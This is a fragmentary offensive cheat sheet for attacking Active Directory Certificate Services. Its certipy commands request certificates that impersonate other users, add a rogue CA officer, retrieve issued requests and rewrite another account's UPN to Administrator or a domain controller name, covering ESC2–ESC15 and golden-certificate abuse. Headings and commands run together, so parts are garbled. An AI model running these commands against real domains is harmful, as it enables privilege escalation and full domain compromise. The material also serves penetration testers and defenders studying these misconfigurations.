ADCS
43 cmdsWeb enrollementVulnerable templateVulnerable CAMisconfigured ACLVulnerable PKI Object AC
- Get PKI objects information
- Display CA information
- ESC2ESC3
- ESC3
- ESC15
certipy req -u <user>@<domain> -p <password> -target <ca_server> -template '<version 1 template with enrolee flag>' -ca <ca_name> -upn <target_user>@<domain> --application-policies 'Client Authentication' #[PR 228]Pass the certificate (only Schannel)
certipy req -u <user>@<domain> -p <password> -target <ca_server> -template '<version 1 template with enrolee flag>' -ca <ca_name> --application-policies 'Certificate Request Agent' # [PR 228]Pass the certificate
- ESC4
- write privilege over a certificate template
- restore template
- ESC7
- Manage CA
certipy ca -ca <ca_name> -add-officer '<user>' -username <user>@<domain> -password <password> -dc-ip <dc_ip> -target-ip <target_ip>ESC7 Manage certificate
- Manage certificate
- Issue request
certipy req -u <user>@<domain> -p '<password>' -ca <ca_name> -retreive <request_id>Pass the certificate
- ESC5
- Vulnerable acl on PKIACL
- Golden certificate
- Abuse ATTRIBUTESUBJECTALTNAME2 flag set on CA you can choose any certificate template that permits client authentication
- ESC9/ESC10 (implicit)
- ESC9/ESC10 (Case 1)
certipy account update -username <accountA>@<domain> -password <passA> -user <accountB> -upn Administratorreset accountB UPN- ESC9
- ESC10 (case 1)
- ESC10 (Case 2)
certipy account update -username <accountA>@<domain> -password <passA> -user <accountB> -upn '<dc_name$>@<domain>'ESC10 Case1
- reset accountB UPN
- ESC14 (explicit)